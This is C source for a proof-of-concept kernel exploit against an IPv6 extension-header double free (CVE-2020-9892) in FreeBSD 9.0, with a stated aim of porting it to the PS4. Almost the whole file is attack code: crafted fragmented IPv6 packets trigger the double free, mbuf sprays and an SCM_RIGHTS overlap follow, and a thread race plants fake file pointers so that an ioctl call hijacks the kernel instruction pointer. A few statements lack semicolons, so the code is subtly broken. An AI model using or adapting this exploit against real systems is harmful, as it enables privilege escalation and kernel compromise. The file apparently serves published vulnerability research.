/*
 * IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0
 * https://github.com/google/security-research/security/advisories/GHSA-gxcr-cw4q-9q78
 * -
 * Bug credit: Andy Nguyen (@theflow0)
 * Exploit credit: @SpecterDev, @tihmstar
 * Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011
 * -
 * Build: gcc -o expl ip6_expl_poc.c -pthread
 * -
 * Stability: 30-40% w/ 2 CPUs and 2GB RAM. Could likely be improved by tweaking timings and spray
 * packet sizes, but since these circumstances are very specific to the system state and the end-goal
 * is a PS4 port, I didn't go too crazy trying to optimize it, this is mainly a reference.
 * -
 * This file contains implementation for a FreeBSD/XNU/iOS kernel bug in the IPv6 subsystem. This
 * POC will achieve code execution in ring0 / supervisor mode and set the instruction pointer to
 * 0x41414141 to intentionally crash the kernel to demonstrate RIP control.
 *
 * A brief overview of the exploit strategy...
 * 
 * The bug allows us to get a double free in the mbuf UMA zone in the kernel. We abuse this to
 * acquire two references to the same mbuf via a tagged UDP packet spray. We then free one of the
 * references to get it acquired by an SCM_RIGHTS control message on a local AF_UNIX socket. Since
 * we still have the reference on our other tagged UDP packet, we free it to cause UAF, and interleave
 * corruption to corrupt the stack of file pointers in the control message mid-processing to get
 * crafted, userland-controlled file pointers stored in the process FD table.
 *
 * Now we have one or more file descriptors with attacker-controlled file pointers which contain a
 * malicious file ops table with the ioctl function pointer pointing to 0x41414141. We simply call
 * ioctl() on each fd we receive until we trigger code exec. If we fail, it means we lost the race
 * and retry. If we can't reclaim the overlap, it's a fatal issue and a reboot will be needed since
 * cleanup is irrepairably broken due to tainted state of the sockets, and process exit will crash the
 * kernel.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>

// Takes a data buffer and zeroes it, then initializes the 4 byte routing header with the size and
// next header type given.
void build_routing_header(char *buf, uint64_t sz, uint8_t next_header)
{
    // Leave routing data null
    memset(buf, 0, sz);

    // Routing header
    buf[0x0] = next_header;
    buf[0x1] = (sz / 8) - 1; // Length is in units of octets not bytes
    buf[0x2] = 0;
    buf[0x3] = 0;
}

// Builds a raw packet consisting of a hop-by-hop header, fragment header, and auxiliary data with the info
// given, then sends it to the given fd on the loopback address (::1).
uint64_t send_fragment(int fd, char *data, uint64_t off, uint64_t sz, uint8_t final, uint32_t id, uint8_t next_header)
{
    uint64_t i;
    uint8_t packetData[0x200];

    // Hop-by-hop headers
    packetData[0x0] = IPPROTO_FRAGMENT;
    packetData[0x1] = 0;
    packetData[0x2] = IP6OPT_PADN;
    packetData[0x3] = 4;

    *(uint32_t *)(packetData + 4) = 0x41414141;

    // Fragment header
    size_t mid = off + !final;

    packetData[0x8] = next_header;
    packetData[0x9] = 0;
    packetData[0xA] = mid / 256;
    packetData[0xB] = mid % 256;

    *(uint32_t *)(packetData + 0xC) = id;

    // Auxiliary data
    uint64_t dataOffset = 0x10;

    for(i = 0; i < sz; i++)
    {
        packetData[dataOffset + i] = data[i];
    }

    // Send on loopback
    struct sockaddr_in6 sin6 = {
        .sin6_family = AF_INET6,
        .sin6_addr   = {0},
        .sin6_port   = 0x1337,
    };

    sin6.sin6_addr.s6_addr[15] = 1;

    // Fire into the kernel
    return sendto(fd, packetData, dataOffset + sz, 0, (struct sockaddr *)&sin6, sizeof(sin6));
}

// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf(int sock, char *in_data, uint64_t sz)
{
    return sendto(sock, in_data, sz, 0, 0, 0);
}

// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf2(int sock, char *in_data, uint64_t sz)
{
    return sendto(sock, in_data, sz, MSG_DONTWAIT, 0, 0);
}

// Receives a packet on the socket to get an mbuf free'd.
int pop_mbuf(int sock, char *out_data, uint64_t sz)
{
    return recvfrom(sock, out_data, sz, MSG_DONTWAIT, 0, 0);
}

// Gets a packet's data on the socket without removing it from the queue / free'ing it.
int peek_mbuf(int sock, char *out_data, uint64_t sz)
{
    return recvfrom(sock, out_data, sz, MSG_DONTWAIT | MSG_PEEK, 0, 0);
}

// Creates an IPV4 UDP socket and binds + connects it to the loopback interface, returning
// the newly connected socket descriptor.
int create_udp_loopback_sock()
{
    // Initialize a UDP IPv4 socket
    int s = socket(AF_INET, SOCK_DGRAM, 0);

    struct sockaddr_in sin = {
        .sin_family = AF_INET,
        .sin_addr   = {0x100007f},
        .sin_port   = 0,
    };

    // Bind it to loopback interface and connect to it
    uint64_t socklen = sizeof(struct sockaddr_in);
    bind(s, (struct sockaddr *)&sin, socklen);
    getsockname(s, (struct sockaddr *)&sin, (socklen_t *)&socklen);
    connect(s, (struct sockaddr *)&sin, socklen);

    return s;
}

// Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd)
{
    int i;
    struct msghdr   msg;
    struct iovec    iov[1];

    union {
      struct cmsghdr    cm;
      char              control[CMSG_SPACE(253*sizeof(int))];
    } control_un;
    struct cmsghdr  *cmptr;

    msg.msg_control = control_un.control;
    msg.msg_controllen = sizeof(control_un.control);

    cmptr = CMSG_FIRSTHDR(&msg);
    cmptr->cmsg_len = CMSG_LEN(253*sizeof(int));
    cmptr->cmsg_level = SOL_SOCKET;
    cmptr->cmsg_type = SCM_RIGHTS;
    for(i = 0; i < 253; i++)
        ((int *) CMSG_DATA(cmptr))[i] = sendfd[i];

    msg.msg_name = NULL;
    msg.msg_namelen = 0;

    iov[0].iov_base = ptr;
    iov[0].iov_len = nbytes;
    msg.msg_iov = iov;
    msg.msg_iovlen = 1;

    return(sendmsg(fd, &msg, 0));
}

// Reads a stack of file descriptors from the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd)
{
    struct msghdr   msg;
    struct iovec    iov[1];
    ssize_t         n;
    int             newfd;
    int i;

    union {
      struct cmsghdr    cm;
      char              control[CMSG_SPACE(253*sizeof(int))];
    } control_un;
    struct cmsghdr  *cmptr;

    msg.msg_control = control_un.control;
    msg.msg_controllen = CMSG_SPACE(253*sizeof(int));

    msg.msg_name = NULL;
    msg.msg_namelen = 0;

    iov[0].iov_base = ptr;
    iov[0].iov_len = nbytes;
    msg.msg_iov = iov;
    msg.msg_iovlen = 1;

    if ( (n = recvmsg(fd, &msg, 0)) < 0)
        return(n);

    if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL &&
        cmptr->cmsg_len == CMSG_LEN(253*sizeof(int))) {
        for(i = 0; i < 253; i++)
            recvfd[i] = ((int *) CMSG_DATA(cmptr))[i];
    } else {
        for(i = 0; i < 64; i++)
            printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]);
        *recvfd = -1;
    }

    return(n);
}

#define PACKET_ONE_SZ       0x60  // Size of first packet fragment
#define PACKET_TWO_SZ       0x20  // Size of second packet fragment
#define SPRAY_SOCKET_NUM    0x100 // Number of times for most sprays
#define SPRAY_PACKET_PTRS   0xA0  // Number of file pointers to fake in overlap packet

volatile int start_thread = 0;

// Raw IPV6 socket for triggering the bug
int raw_sock;

// UDP spray sockets and TCP socketpairs for SCM_RIGHTS messages to overwrite
int udp_socks[SPRAY_SOCKET_NUM];
int tcp_sockpairs[SPRAY_SOCKET_NUM * 2];

// Scratch / trash buffer primarily for popping messages out of the queue
int popbuf[37];

// Overlap trackers so we know which sockets share an mbuf
int overlap_one = -1;
int overlap_two = -1;

// Structure to spray into UAF'd mbuf to smash file pointers
// -
// We need 4 bytes to align from 0xC to 0x10 since the file pointers are on 8-byte boundaries.
// We can use this padding for tags for the respray. We have to pack the struct because if we
// don't the compiler will insert padding after the tag which will mess with our UAF alignment.
struct overlap
{
    int pad1;
    uint64_t pointers[SPRAY_PACKET_PTRS];
} __attribute__((packed));

// Spray packet data
struct overlap *spray_packet;

// File ops struct from the kernel that we need to fake for code execution
struct fileops {
    void *fo_read;
    void *fo_write;
    void *fo_truncate;
    void *fo_ioctl;                 // <-- RIP hijack fptr
    void *fo_poll;
    void *fo_kqfilter;
    void *fo_stat;
    void *fo_close;
    void *fo_chmod;
    void *fo_chown;
    int   fo_flags;
};

// File struct from the kernel we need to fake. Fields without comments are irrelevant and
// are not faked.
struct file {
  void            *f_data;
  struct fileops  *f_ops;                // Important - fake for code execution
  void            *f_cred;
  void            *f_vnode;
  short           f_type;                // Needs fake for ioctl() usage (socket type)
  short           f_vnread_flags;
  volatile u_int  f_flag;                // Needs fake for ioctl() usage (RW flags)
  volatile u_int  f_count;               // Needs fake for refcounting check
  int             f_seqcount;
  off_t           f_nextoff;
  void            *f_cdevpriv;
  off_t           f_offset;
  void            *f_label;
};

void *corrupt_file_pointers(void *vargp)
{
    int i = 0;

    printf("THREAD 2 STARTED!!!!\n");

    while(start_thread == 0)
    {
    }

     // Free the mbuf to UAF the SCM_RIGHTS control message
    pop_mbuf(udp_socks[overlap_two], popbuf, sizeof(popbuf));

    // Smash file pointer stack with our own
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        push_mbuf2(udp_socks[i], (char *)spray_packet, sizeof(struct overlap));
    }
}

int main()
{
    int i;
    char newbuf[0x1000];
    int fds[256];
    pthread_t threadid;

    ///////////////////////////////////////////////////////////////
    // Stage 0 - Setup
    ///////////////////////////////////////////////////////////////

    // Setup our spray
    spray_packet = malloc(sizeof(struct overlap));

    // Setup our fake file object
    struct file *fakeFile = malloc(sizeof(struct file));
    struct fileops *fops  = malloc(sizeof(struct fileops));

    memset(fakeFile, 0, sizeof(struct file));
    memset(fops, 0, sizeof(struct fileops));

    fakeFile->f_ops   = fops;
    fops->fo_ioctl    = 0x41414141; // RIP = 0x41414141 for POC

    fakeFile->f_type  = 2;          // DTYPE_SOCKET
    fakeFile->f_flag  = 1 | 2;      // FREAD | FWRITE
    fakeFile->f_count = 1337;       // Reference count, just some high # so it never gets released

    printf("fakeFile = %p\n", fakeFile);

    // Pre-emptively setup spray packet
    spray_packet->pad1 = 0;

    for(i = 0; i < SPRAY_PACKET_PTRS; i++)
        spray_packet->pointers[i] = (uint64_t)(fakeFile);

    // Setup thread 2
    pthread_create(&threadid, NULL, corrupt_file_pointers, NULL);

    // Used for debugging (by checking this fixed address from kernel we can target debug logs)
    char *dbgmapping = mmap((void*)0xbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    printf("dbgmapping mapped %p\n", dbgmapping);

    // Setup file descriptors to pass
    for(i = 0; i < 256; i++)
        fds[255-i] = open("/etc/passwd", O_RDONLY);

    for(i = 253; i < 256; i++)
        close(fds[i]);

    for(i = 0; i < 32; i++)
        printf("i = %d | fd = %d\n", i, fds[i]);

    memset((char *)newbuf, 0xFF, 1024);

    // Create raw socket
    raw_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);

    // Create spray UDP sockets
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
        udp_socks[i] = create_udp_loopback_sock();

    // Create TCP socketpairs
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
        socketpair(AF_UNIX, SOCK_STREAM, 0, tcp_sockpairs + 2 * i);

    // Build up double free packet
    char doubleFreePacket[PACKET_ONE_SZ + PACKET_TWO_SZ];

    build_routing_header((char *)(doubleFreePacket + 0x00), PACKET_ONE_SZ, IPPROTO_ROUTING);
    build_routing_header((char *)(doubleFreePacket + PACKET_ONE_SZ), PACKET_TWO_SZ, IPPROTO_ROUTING);

    ///////////////////////////////////////////////////////////////
    // Stage 1 - Double free & reclaim on UDP pair
    ///////////////////////////////////////////////////////////////

    printf("[+] Double freeing mbuf and reclaiming with tagged packets\n");

    // Trigger double free
    send_fragment(raw_sock,
        doubleFreePacket,
        0,
        PACKET_ONE_SZ,
        0,
        0x60606060,
        IPPROTO_ROUTING
    );

    send_fragment(raw_sock,
        doubleFreePacket,
        PACKET_ONE_SZ,
        sizeof(doubleFreePacket) - PACKET_ONE_SZ,
        1,
        0x60606060,
        IPPROTO_ROUTING
    );

    // 1 second 
    struct timespec one_sec = {
        .tv_sec  = 1,
        .tv_nsec = 0
    };

    // 10 milliseconds
    struct timespec ten_millisecs = {
        .tv_sec  = 0,
        .tv_nsec = 10000000
    }

    // Sleep to allow time for the double free to occur
    nanosleep(&one_sec, 0);

    // Spray tagged packets on UDP sockets to get an overlap pair
    int tag_packet[49];

    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        tag_packet[0] = i;
        push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet));

        // Don't send too quickly
        nanosleep(&ten_millisecs, 0)
    }

    // Sleep to allow time for all packets to be sprayed
    nanosleep(&one_sec, 0);

    // Search for the overlap by peeking each socket and looking for corruption.
    // -
    // The first corrupted packet should contain the index of the packet that overlapped with it.
    printf("[+] Searching for overlap pair\n");

    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        peek_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(int));

        if(tag_packet[0] != i)
        {
            overlap_one = i;
            overlap_two = tag_packet[0];
        }
    }

    // If we failed to overlap, we failed to capture the pointers from the double free, needs re-run.
    if(overlap_one <= 0 || overlap_two <= 0)
    {
        printf("[!] Overlap failed!\n");
        return -1;
    }

    // Yay we found an overlap pair!
    printf("[+] Found overlap pair: %d -> %d\n", overlap_one, overlap_two);

    ///////////////////////////////////////////////////////////////
    // Stage 2 - Trigger overlap on TCP socketpair
    ///////////////////////////////////////////////////////////////

    char bigcluster[2048] = {0};

    int outfds[253];
    dbgmapping[0] = 'X';

    for(i = 0; i < 49; i++)
        tag_packet[i] = 0x41414141;

    // 5 seconds
    struct timespec five_secs = {
        .tv_sec = 5,
        .tv_nsec = 0
    };

    // 200 milliseconds
    struct timespec twohundred_millisecs = {
        .tv_sec  = 0,
        .tv_nsec = 200000000
    };

    nanosleep(&twohundred_millisecs, 0);

    printf("[+] free 1\n");

    // Free the mbuf to overlap udp_socks[overlap_two] with SCM_RIGHTS control message
    pop_mbuf(udp_socks[overlap_one], popbuf, sizeof(popbuf));

    // We need to know what socketpair has the overlap
    int overlap_pair = -1;

    // Spray SCM_RIGHTS messages into the overlap
    for(i = 0; i < SPRAY_SOCKET_NUM; i++)
    {
        write_fd(tcp_sockpairs[2*i], dbgmapping, 1, fds);

        // Side-channel the overlapped UDP packet to determine what index we overlapped
        peek_mbuf(udp_socks[overlap_two], (char *)&tag_packet, sizeof(int));
        printf("sockpair = %d, peek = %lx\n", (2*i), tag_packet[0]);

        // The first packet that doesn't have a first dword of zero is the socketpair we overlapped
        if(tag_packet[0] != 0 && overlap_pair == -1)
            overlap_pair = 2*i;
    }

    // We now have an SCM_RIGHTS message overlapped with a UDP socket mbuf to cause controlled UAF
    printf("[+] Socketpair %d -> %d has corruptable mbuf\n", overlap_pair, overlap_pair+1);

    // Calm before the storm...
    nanosleep(&five_secs, 0);

    ///////////////////////////////////////////////////////////////
    // Stage 3 - RACE
    ///////////////////////////////////////////////////////////////

    int rrv;

    // Kickstart thread 2 to begin UAF
    start_thread = 1;

    for(i = 0; i < 600; i++)
    {
        // do nothing, delay for race stability
    }

    // Start the read on the SCM_RIGHTS message we can smash with the other thread
    rrv = read_fd(tcp_sockpairs[overlap_pair+1], dbgmapping, 1, outfds);

    for(i = 0; i < 253; i++)
        printf("outfds i = %d | fd = %d\n", i, outfds[i]);

    // Hopefully we smashed it and have a fake file pointer created, attempt ioctl() on it to
    // trigger RIP = 0x41414141 crash!
    for(i = 0; i < 253; i++)
    {
        errno = 0;
        rrv = ioctl(outfds[i], 0x81200000);
        printf("ioctl rv = %d | err = %s\n", rrv, strerror(errno));
    }

    // If we reached here, we failed to smash it and lost the race
    printf("Reached the end, rrv = %d\n", rrv);

    // Never return, if we return and we failed, we die immediately because cleanup is borked
    for(;;);
}